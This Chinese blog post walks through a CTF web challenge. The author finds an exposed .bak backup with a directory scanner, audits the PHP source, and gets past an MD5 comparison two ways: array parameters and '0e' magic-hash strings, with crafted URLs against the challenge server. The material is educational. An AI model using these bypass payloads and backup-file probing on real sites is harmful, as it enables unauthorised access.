备份是个好习惯

备份是个好习惯(80)

MD5加密、.bak文件、 strstr()、substr()、str_replace()、parse_str()函数用法

  1. 打开页面一串字符串“d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e”
    注意到这是d41d8cd98f00b204e9800998ecf8427e重复了两遍,这是md5加密。
  2. 用御剑后台扫描
    在这里插入图片描述
    扫到了http://123.206.87.240:8002/web16/index.php这个url,联想到题目的备份,可能还会存在备份文件的url。(备份文件一般都是.bak或者.swp)尝试之后发现了http://123.206.87.240:8002/web16/index.php.bak可以下载备份文件。
  3. 打开备份文件,发现是php代码,开始代码审计
<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag。

有两种方法绕过:
1,md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2,利用==比较漏洞:
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
更多有关md5碰撞的小知识请见: https://www.cnblogs.com/0yst3r-2046/p/10748412.html
5.方法一:
构造
http://123.206.87.240:8002/web16/?kkeyey1%5B%5D=123456&kkeyey2%5B%5D=234567
方法二:
根据前面的分析,我们可以构造:
http://123.206.87.240:8002/web16/?kkeyey1=240610708&kkeyey2=QNKCDZO

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值